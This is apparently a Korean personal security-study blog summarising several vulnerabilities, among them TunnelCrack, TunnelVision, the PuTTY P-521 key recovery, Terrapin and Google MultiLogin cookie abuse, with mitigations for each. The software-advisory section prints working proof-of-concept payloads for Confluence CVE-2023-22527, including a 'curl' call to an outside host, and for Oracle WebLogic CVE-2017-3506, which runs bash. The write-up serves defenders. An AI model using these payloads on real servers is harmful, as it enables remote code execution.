꼰머의 보안공부

1. VPN(Virtual Private Network)

- 가상 사설망

- 기존 공용 네트워크에 터널링 및 암호화 기법을 사용해 만든 가상 사설망 네트워크

- VPN을 활용해 외부에서 안전하게 내부망과 통신할 수 있음

- 비용 효율, 익명성, 암호화, IP 우회 등의 장점과 속도 저하, 일부 국가 불법 등의 단점이 있음

2. TunnelCrack [1]

- 23.08.08 VPN의 두 가지 보안 취약점이 결합된 트래픽 유출 취약점이 발견

> 해당 공격은 사용되는 VPN 프로토콜과 무관

> 많은 VPN 클라이언트는 다음 두 가지 유형의 트래픽을 VPN 터널 외부로 전송하기 위해 예외를 추가

① 로컬 네트워크와 주고받는 트래픽: VPN을 사용하는 동안 로컬 네트워크에 계속 액세스할 수 있도록 보장

② VPN 서버와 주고받는 트래픽: 라우팅 루프가 없음을 보장

2.1 LocalNet 공격 (CVE-2023-36672, CVE-2023-35838)

- 공격자가 로컬 네트워크 IP 주소 범위를 조작하여 트래픽이 유출될 수 있음

> 공격자가 로컬 네트워크에 할당된 IP 범위를 제어할 수 있다고 가정

> 공격자는 로컬 네트워크 내에서 활동

① 공격자는 악성 AP를 생성 하고 로컬 네트워크 IP 범위를 대상 서버의 IP 주소가 포함된 범위로 설정

② 피해자 VPN 클라이언트는 연결하려는 웹사이트가 로컬 네트워크에 있다고 믿도록 속여 연결되지 않음

① 공격자는 악성 AP를 생성하고 대상 서버의 IP 주소가 포함된 범위로 IP 범위를 설정하며, 피싱 사이트 생성

> 피싱 사이트는 대상 서버와 IP를 동일하게 구성

② 피해자는 악성 AP에 연결하며, 악성 AP는 target[.]com과 동일한 서브넷의 IP 주소 할당

③ 피해자는 정상적인 VPN 연결을 생성

④ 피해자가 target[.]com 접속 시 피싱 사이트로 연결

> 피해자는 target[.]com(피싱 사이트)가 동일한 로컬 네트워크에 있다고 믿음

> 결과적으로 클라이언트는 VPN 터널을 사용하지 않고 웹 서버에 직접 연결 시도

※ 목적지 target[.]com을 제외한 트래픽은 정상 VPN 터널을 통해 전송

2.2 ServerIP 공격 (CVE-2023-36673, CVE-2023-36671)

- 공격자는 VPN 서버의 IP 주소를 스푸핑하여 트래픽이 유출될 수 있음

> 공격자가 DNS 응답을 스푸핑할 수 있다고 가정

> 공격자는 위치는 (1) 피해자가 VPN 서버의 IP 주소를 조회하는데 사용하는 DNS 서버 (2) 트래픽을 유출하려는 피해자와 대상 서버

① 공격자는 피해자의 VPN 서버에 대한 nslookup 결과를 스푸핑 (DNS 스푸핑)

② 피해자는 스푸핑된 IP 주소로 서버에 연결 시도

① 피해자는 vpn[.]com의 IP를 얻기위해 nslookup

② 공격자는 nslookup에 대한 응답을 스푸핑하여 조작된 응답을 전송

> [사진 4]에서는 target[.]com의 IP 주소로 DNS 스푸핑

③ 피해자는 조작된 IP로 VPN 연결을 시도하며, 공격자는 정상 vpn[.]com으로 패킷 포워딩

④ 피해자가 target[.]com으로 접속 시 트래픽은 VPN 터널 외부로 전송

> 결과적으로 VPN 클라이언트는 스푸핑된 IP 주소로 연결을 시도

2.3 취약점 영향 및 대응 방안

3. TunnelVision (CVE-2024-3661) [2][3]

- 24.05.06 VPN 트래픽을 훔쳐볼 수 있는 취약점이 발견

> DHCP의 설계 오류로 인해 발생

> IP 라우팅을 기반으로하는 모든 VPN 시스템에 통하는 공격으로 2 가지 조건을 가짐

① 공격자가 클라이언트의 DHCP 서버가 되어야 함

② 대상 호스트의 DHCP 클라이언트는 옵션 121을 구현해야 함

- DHCP Option 33 vs Option 121

> 1997년 DHCP RFC에는 관리자가 클라이언트의 라우팅 테이블에 설치할 고정 경로를 지정할 수 있는 옵션 33 존재

> 옵션 33은 Classful Static Routes를 사용하였고, 공용 IP 공간이 제한되면서 시간이 지남에 따라 선호되지 않음

> 2002년 RFC 3442에서 Classless Static Routes가 가능한 옵션 121 도입 (호환을 위해 옵션 33 유지)

> TunnelVision은 옵션 121를 악용해 공격

※ Android는 DHCP 옵션 121을 지원하지않아 영향받지 않음

① 공격자는 정상 DHCP 서버에 DHCP 고갈 공격을 수행

> DHCP 고갈 공격: DHCP 서버에 MAC 주소를 변조하여 DHCP Discover 패킷을 계속 전송하여 IP 주소를 모두 소진하도록 하는 공격

> DHCP는 DHCP Discover 패킷의 MAC 주소만 보고 호스트 인식

② 공격자는 피해자와 동일한 네트워크에서 악성 DHCP를 운영

③ 악성 DHCP 서버는 옵션 121을 악용해 라우팅 테이블에 고정 경로를 구성

④ 공격자는 트래픽이 기본 게이트웨이로 전달되기 전에 암호화되지 않은 트래픽을 가로챌 수 있음

3.1 대응방안

4. 참고

[1] https://tunnelcrack.mathyvanhoef.com/details.html
[2] https://www.leviathansecurity.com/blog/tunnelvision
[3] https://github.com/leviathansecurity/TunnelVision
[4] https://www.zscaler.com/blogs/security-research/cve-2024-3661-k-tunnelvision-exposes-vpn-bypass-vulnerability

[5] https://www.youtube.com/watch?v=ajsLmZia6UU

1.PuTTY [1]

- SSH, 텔넷, rlogin, raw TCP를 위한 클라이언트로 동작하는 자유 및 오픈 소스 단말 에뮬레이터 응용 프로그램

2. 취약점

- 취약한 버전의 PuTTY에서 발생하는 비밀 키 복구 취약점

> 공격자는 비밀 키를 복구 및 서명을 위조하여 해당 키를 사용하는 모든 서버에 로그인할 수 있음

영향받는 버전: PuTTY 0.68 ~ 0.80

2.1 상세내용 [3]

- PuTTY 0.68 ~ 0.80까지 모든 버전에는 NIST P521 커브를 사용하는 ECDSA(타원 곡선 디지털 서명 알고리즘) 개인 키에서 서명을 생성하는 코드에 심각한 취약점이 존재

> PuTTY 또는 Pageant가 SSH 서버에 인증할 때 키에서 서명을 생성할 때 발생

2.1.1 취약점의 영향

- 사용자의 비밀 키가 노출

> 공격자가 다수의 서명된 메시지와 공개 키를 가지고 있으면 개인 키를 복구하는데 충분한 정보를 가지게 됨

> 이를 통해 사용자인 것처럼 서명을 위조하여 해당 키를 사용하는 모든 서버에 로그인이 가능해 짐

> 서명을 얻기 위해 키를 사용하여 인증하는 서버를 침해하거나, 키를 보유한 Pageant 사본에 잠시 액세스하면 됨

2.1.2 영향받는 키 타입

- 영향을 받는 유일한 키 타입은 521bit ECDSA

① Windows PuTTYgen에서 'Key fingerprint' 상자의 시작 부분에 ecdsa-sha2-nistp521이 표시되거나
② Windows Pageant에 로드될 때 'NIST p521'로 설명되거나
③ SSH 프로토콜 또는 키 파일에서 ecdsa-sha2-nistp521로 시작하는 ID를 가진 키

> 다른 크기의 ECDSA와 다른 키 알고리즘은 영향 받지 않음 (특히 Ed25519는 영향을 받지 않음)

2.1.3 오류 상세 내용

- 모든 DSA(디지털 서명 알고리즘) 서명 체계는 서명 중 무작위 값을 생성해야 함

> nonce(한 번만 사용되는 값) 또는 문자 k로 알려짐
> 공격자가 사용된 값을 추측 하거나 동일한 값으로 생성된 두 개의 서명을 찾을 수 있다면 즉시 개인키 복구가 가능

※ 즉, 무작위성이 없는 시스템에서 DSA 서명을 생성하는 것은 매우 위험

- PuTTY는 Windows에서 개발되었기 때문에 난수 생성기가 전혀 없었음

> 무작위 값이 아닌 결정론적 방법을 사용하여 k를 생성

> 해시 입력에 서명할 메시지와 개인 키를 모두 포함하는 보안 해시를 계산하는 것이 핵심 기법 (RFC 6979)

> PuTTY는 2001년부터 동일한 작업을 수행했고 해당 RFC는 2013년 문서화되어 PuTTY는 해당 사양을 따르지 않음

2.1.4 취약점 발생 원인

- PuTTY의 기술은 SHA-512 해시를 만든 후 이를 mod q로 줄이는 방식으로 작동

> P521(=영향받는 키 타입)을 제외한 모든 경우에 512bit 숫자를 mod q로 줄임으로써 발생하는 편향은 무시가능

> 그러나 P521의 경우 q가 521bit(즉, 512bit 이상)이므로 512bit 숫자를 mod q로 줄이는 것은 아무 의미가 없음

> 상위 9bit 값이 항상 0인 값을 얻게 되며, 이러한 편향으로 인해 키 복구 공격이 가능해 짐

※ 필요한 서명의 개수는 약 60개

2.1.5 취약점 수정 내용 및 대응 방안

- 수정 내역: 모든 DSA 및 ECDSA 키 유형에 대해 RFC 6979를 따르도록 변경

> 이전 시스템 완전 폐기

> Ed25519와 같은 EdDSA 키는 이미 다른 시스템을 사용하고 있어 변경되지 않음

- 대응 방안: 영향받는 유형의 키가 있는 경우 즉시 폐기

> 모든 OpenSSH authorized_keys 파일과 다른 SSH 서버의 동일한 파일에서 이전 공개키를 제거

> 손상된 키의 서명이 더 이상 가치가 없도록한 후 새 키 쌍을 생성해 교체

3. 참고

[1] https://www.putty.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-31497
[3] https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-p521-bias.html
[4] https://www.boannews.com/media/view.asp?idx=128945&page=6&kind=1

1.  개요

- 최근 수년간 소프트웨어 공급망을 통한 다양한 침해사고 발생

- 인프라를 운영하며 관련 법률에서 제정한 다양한 규정 준수 및 보안 인증 등을 위해 다양한 솔루션이 사용

- 솔루션 증가는 공격자 입장에서 더 많은 선택권이 주어지는 것이므로, 현재 사용되는 솔루션의 위험성을 인식할 필요

- 금보원은 공격자의 관점에서 모의해킹을 진행해 공급망 공격을 분석한 ‘레드아이리스 인사이트 리포트 : Campaign ThirdEye’를 발간 [1]

※ 내용의 민감성을 고려하여 요약본 게시

2. 주요 내용

2.1 3rd Party 솔루션 유형 분류

2.2 3rd Party 취약점 분석

2.3 써드아이(ThirdEye) 캠페인

- 3rd Party 솔루션 모의해킹 시나리오를 심층 분석해 가상의 해킹작전 (오퍼레이션)으로 재구성

> 이와 연관된 모든 활동을 써드아이(ThirdEye) 캠페인으로 명명

> 공격자 관점으로 시나리오별 세부적인 TTPs를 공유해 효율적으로 선제적 대응을 할 수 있도록 지원하는 것이 목표

- 오퍼레이션별 TTPs 프로파일링

2.3 대응방안

3. 결론

- 솔루션 도입을 통해 효율적으로 관리를 시도하나, 관리 인원이 추가되지 않고 관리 요소만 증가하는 경향

- 공격자들은 이미 수년전부터 공급자인 제조사를 해킹해 소스코드 탈취해 취약점 확보 후 공격에 악용

- 패치 되지 않았거나, 계정 관리가 되지 않거나, 중앙 집중 관리 솔루션 등에 대해 접근통제 및 모니터링 필요

4. 참고

[1] https://www.fsec.or.kr/bbs/detail?menuNo=1011&bbsNo=11420
[2] https://www.boannews.com/media/view.asp?idx=127420&page=1&kind=1

1. 개요

- 최근 브라우저 자동 로그인 기능을 악용한 계정 정보 탈취 범죄 급증함에 따라 KISA 권고 발표 [1]

- 사용자는 자동 로그인 기능 비활성화 및 개인정보 유출에 주의 必

2. 주요 내용

- 대부분의 브라우저는 편의성을 위해 계정정보를 저장하여 자동 입력해주는 자동 로그인 기능을 제공

- 해당 기능을 사용하는 PC가 악성코드에 감염되거나, 공용 PC에서 해당 기능 사용시 계정정보 탈취 등 위협 증가

- 탈취한 계정정보를 이용해 다른 사이트에서 로그인을 시도하는 크리덴셜 스터핑(Credential Stuffing) 공격 시도

> 크리덴셜 스터핑: 대부분의 사용서로 다른 사이트에 동일한 계정정보를 사용하는 것을 이용, 탈취한 계정 정보를 무작위로 대입하여 로그인을 시도하는 공격

> 과학기술정보통신부의 침해사고 조사결과 크리덴셜 스터핑은 공격 시도 대비 약 0.3% 성공률

> 관련 사례: 인포스틸러에 의한 국가·공공기관 정보 서비스 이용자 개인정보 유출, 엔씨소프트 계정 탈취 등 [2][3]

- 따라서, 자동 로그인 기능 비활성화 및 사용자의 주의 필요

> 개인정보보호위원회와 KISA는 자주 사용하는 계정의 유출 여부를 조회하는 서비스 ‘털린 내 정보 찾기 서비스’ 제공 [4]

3. 참고

[1] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71358&menuNo=205020
[2] https://www.nis.go.kr:4016/CM/1_4/view.do?seq=279
[3] https://www.boannews.com/media/view.asp?idx=125617&page=1&kind=1
[4] https://kidc.eprivacy.go.kr/

1. 개요

- AI/ML 대상 버그 바운티 플랫폼 Huntr에서 AI/ML 오픈소스 플랫폼의 보안취약점 발견
- 영향을 받는 플랫폼은 MLflow, ClearML, Hugging Face Transformers로, 다양한 산업에서 사용되는 AI 솔루션

> MLflow: AI 라이프 사이클 전 과정을 관리해주는 MLOps 플랫폼
> ClearML: 다양한 사용자들이 AI 서비스를 사용 및 개발할 수 있도록 해주는 E2E MLOps 플랫폼
> Hugging Face Transformers: Hugging Face社에서 제공하는 AI 개발 라이브러리

1.1 MLOps [1][2]

- ML 시스템 개발, 배포, 유지보수를 효율적이고, 지속할 수 있도록 하는 업무 방식

2. 주요내용

3. 조치사항

- 취약한 버전의 플랫폼 사용자의 경우 최신 패치 적용

> MLflow 2.9.2 / ClearML Server 1.13.0 / Transformers 4.36

4. 참고

[1] https://www.databricks.com/glossary/mlops
[2] https://jaemunbro.medium.com/mlops%EA%B0%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B3%A0-84f68e4690be
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-6831
[4] https://huntr.com/bounties/0acdd745-0167-4912-9d5c-02035fe5b314/
[5] https://huntr.com/bounties/93e470d7-b6f0-409b-af63-49d3e2a26dbc/
[6] https://nvd.nist.gov/vuln/detail/CVE-2023-6977
[7] https://huntr.com/bounties/fe53bf71-3687-4711-90df-c26172880aaf/
[8] https://nvd.nist.gov/vuln/detail/CVE-2023-6709
[9] https://huntr.com/bounties/9e4cc07b-6fff-421b-89bd-9445ef61d34d/
[10] https://nvd.nist.gov/vuln/detail/CVE-2023-6778
[11] https://huntr.com/bounties/5f3fffac-0358-48e6-a500-81bac13e0e2b/
[12] https://nvd.nist.gov/vuln/detail/CVE-2023-7018
[13] https://huntr.com/bounties/e1a3e548-e53a-48df-b708-9ee62140963c/

1. 개요 [1]

- 최근 해킹조직이 국내 웹사이트 공격에 소프트웨어 취약점을 악용

- 취약한 버전의 소프트웨어를 운용하는 경우 최신버전 업데이트 등 보안 조치 권고

2. 주요내용

2.1 Atlassian (CVE-2023-22527) [2]

- Atlassian社 Confluence Server 및 Confluence Data Center 제품 탬플릿에 OGNL 표현식을 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8) [3]

- 영향받는 버전: 8.0.x / 8.1.x / 8.2.x / 8.3.x / 8.4.x / 8.5.0 ~ 8.5.3
- 취약점은 "./confluence/confluence/template/aui/text-inline.vm"에서 발생
> #set( $labelValue = $stack.findValue("getText('$parameters.label')") )
> 매개변수를 직접 사용하여 발생하는 취약점

- PoC [4]

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

label=\u0027%2b
#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue((new freemarker.template.utility.Execute()).exec({"curl rce.ee"}),{})%2b\u0027

2.2 Oracle (CVE-2017-3506) [5]

- Oracle WebLogic WLS 제품에서 XML 디코드 처리 미흡으로 조작된 XML 페이로드를 전송해 원격 코드 실행이 가능한 취약점 (CVSS: 7.4) [6]
- 영향받는 버전: 10.3.6.0 / 12.1.3.0 / 12.2.1.0 / 12.2.1.1 / 12.2.1.2
- PoC [7][8]

<soapenv:Envelope xmlns:soapenv="hxxp://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="hxxp://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>touch /tmp/123</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

2.3 GNU (CVE-2013-6217) [9]

- GNU Bash Shell에서 환경변수에 악의적인 코드를 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8)
- 영향받는 버전: 1.14.0~1.14.7 / 2.0~2.05 / 3.0~3.0.16 / 3.1~3.2.48 / 4.0~ 4.3
- 관련 추가 내용 확인 불가

3. 대응방안

- 최신 버전 업데이트 적용

4. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=115734&pageIndex=1&searchCnd2=
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-22527
[3] https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
[4] https://github.com/Manh130902/CVE-2023-22527-POC
[5] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[6] https://ggonmerr.tistory.com/search/CVE-2017-3506
[7] https://github.com/Al1ex/CVE-2017-3506
[8] http://www.code2sec.com/weblogiclou-dong-cve-2017-3506fu-xian-web-servicesmo-kuai-de-lou-dong.html
[9] https://nvd.nist.gov/vuln/detail/CVE-2013-6217

1. 개요 [1]

- SSH(Secure Shell Protocol)는 1995년 telnet, rlogin, rcp 등의 대안으로 설계되어, 암호화된 통신을 지원
> 인증된 키 교환을 사용해 클라이언트와 서버간 보안 채널을 설정
> 보안 채널은 메시지 조작, 재전송, 삭제 등을 방지하여 기밀성과 무결성을 보장
- 독일 보훔 루르대학교에서 SSH를 공격할 수 있는 새로운 기법 Terrapin 발견
> 통신 채널을 통해 교환되는 메시지를 삭제, 변경 등 조작할 수 있음
> OpenSSH, Paramiko, PuTTY, KiTTY, WinSCP, libssh, libssh2, AsyncSSH, FileZilla, Dropbear를 포함한 다양한 SSH 클라이언트 및 서버에 영향

2. 주요내용

- Terrapin Attack은 SSH 핸드셰이크 과정에 개입해 중간자 공격 수행

> 핸드셰이크 과정은 클라이언트와 서버가 암호화 요소에 동의하고, 키를 교환해 보안 채널을 설정하는 중요 단계
> 전 세계 약 1,100만 개 이상의 SSH 서버가 영향권 [2]

- SSH 핸드셰이크 과정의 2가지 문제에 의해 발생

> 핸드셰이크의 모든 과정이 아닌 시퀀스 번호를 이용해 관리
> 보안 채널 시작시 시퀀스 번호를 재설정하지 않음

> 따라서, 공격자는 핸드셰이크 과정에 개입 및 시퀀스 번호 조작을 통해 SSH 채널의 무결성을 손상 시킬 수 있음

※ 사용자 인증을 위한 공개 키 알고리즘 다운그레이드, 여러 보안 기능 비활성화 등

- 공격이 성공하기 위한 조건 존재

> 중간자 공격이 가능해야 하며, ChaCha20-Poly1305 암호화 알고리즘을 사용
> ChaCha20-Poly1305 알고리즘은 시퀀스 번호를 직접 사용하기 때문에 취약

※ 참고

- 논문에 따르면 전체 서버 중 57.73%가 ChaCha20-Poly1305 알고리즘 선호

> 전체 서버 중 ChaCha20-Poly1305, CBC-EtM 알고리즘이 각각 67.58%, 17.24% 지원 (그 중 7%는 두 가지 알고리즘 모두 제공)

- 해당 공격은 CVE-2023-48795로 명명 [3]
> CVE-2023-46445(AsyncSSH의 악성 확장 협상 공격), CVE-2023-46446(AsyncSSH의 악성 세션 공격) 포함

3. 대응방안

> 클라이언트-서버간 모든 SSH 핸드셰이크를 인증
> 시퀀스 번호 재설정: 암호화 키가 활성화될 때 시퀀스 번호 0 재설정
> 통신 종료 메시지 지정: TLS 에서는 핸드셰이크 과정의 끝을 알리기 위해 Finished 메시지가 전송되며, 이는 서명이나 암호화되어 상대방이 검증하는 용도로 사용 [4]
> 핸드셰이크 과정 중 인증되지 않은 애플리케이션 계층 메시지를 허용하지 않도록 강화(AsyncSSH의 경우)
> 서버 보안 패치 즉시 적용: 패치가 적용된 서버일지라도, 클라이언트가 취약한 상태라면 서버 또한 취약한 상태이므로 주의 필요
> 취약점 스캐너 활용 [5]

4. 참고

[1] https://terrapin-attack.com/
[2] https://www.bleepingcomputer.com/news/security/nearly-11-million-ssh-servers-vulnerable-to-new-terrapin-attacks/
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-48795
[4] https://learn.microsoft.com/ko-kr/windows/win32/seccrypto/finish-messages-in-the-tls-1-0-protocol
[5] https://github.com/RUB-NDS/Terrapin-Scanner/releases/tag/v1.1.3
[6] https://cybersecuritynews.com/new-terrapin-attacking-ssh-protocol/
[7] https://www.dailysecu.com/news/articleView.html?idxno=152520
[8] https://www.digitaltoday.co.kr/news/articleView.html?idxno=498909

1. 개요

- 23.10 위협 행위자 PRISMA는 영구 Google 쿠키를 생성할 수 있는 익스플로잇 공개 [1]
- 익스플로잇을 통해 위협 행위자는 사용자가 비밀번호를 재설정한 후에도 구글에 지속적으로 액세스 가능
- Lumma, Rhadamanthys, Stealc, Medusa, RisePro, Whitesnake 등 Infostealer Malware에서 악용중

2. 주요내용 [2]

- 23.10 위협 행위자 'PRISMA'는 Google 계정과 관련된 제로데이 취약점을 악용한 공격 툴 공개

> 세션을 탈취해 비밀번호를 재설정한 후에도 새로운 쿠키를 생성해 구글 서비스에 지속적 액세스가 가능

> 해당 툴은 2가지 기능을 지님

① 비밀번호 변경 유무와 상관없이 세션 유지
② 새로운 유효한 쿠키 생성

- 공격 툴을 리버스 엔지니어링하여 취약점은 'MultiLogin'이라는 Google OAuth 엔드포인트에 의존

> 다양한 구글 서비스에서 계정을 동기화하도록 설계
> 구글의 공식 문건에서 이 기능이 정식으로 언급된 적 없음

- 로그인된 Chrome 프로필의 토큰 및 계정 ID 추출

> 추출을 위해 WebData의 token_service table 참조

> 해당 테이블에는 서비스(GAIA ID)와 encrypted_token이 저장되 있음

- 추출한 token:GAIA ID 쌍을 멀티로그인 엔드포인트와 결합해 구글 인증 쿠키를 다시 생성

- 새로운 인증 쿠키를 생성해 구글 계정에 장기간 무단으로 액세스 가능
> 사용자가 비밀번호를 변경하여도 구글 서비스에 지속적 액세스 가능

3. 대응방안

- 임시 수정 단계

① 모든 브라우저에서 로그아웃하여 세션 토큰 무효화

② 비밀번호 재설정

③ 재로그인하여 새 토큰 생성

※ 참고사이트 임시 수정 단계 참고 [2]

- g[.]co/mydevices을 통해 모든 활성 세션 종료

- 향상된 세이프 브라우징 사용 [3]

4. 참조

[1] https://www.youtube.com/watch?v=NzAtZzzFoOs
[2] https://www.cloudsek.com/blog/compromising-google-accounts-malwares-exploiting-undocumented-oauth2-functionality-for-session-hijacking
[3] https://support.google.com/accounts/answer/11577602?hl=ko
[4] https://securityaffairs.com/156723/hacking/exploit-regenerates-google-cookies.html
[5] https://www.bleepingcomputer.com/news/security/google-malware-abusing-api-is-standard-token-theft-not-an-api-issue/#google_vignette
[6] https://www.dailysecu.com/news/articleView.html?idxno=152620
[7] https://www.dailysecu.com/news/articleView.html?idxno=152653
[8] https://www.boannews.com/media/view.asp?idx=125357&page=9&kind=1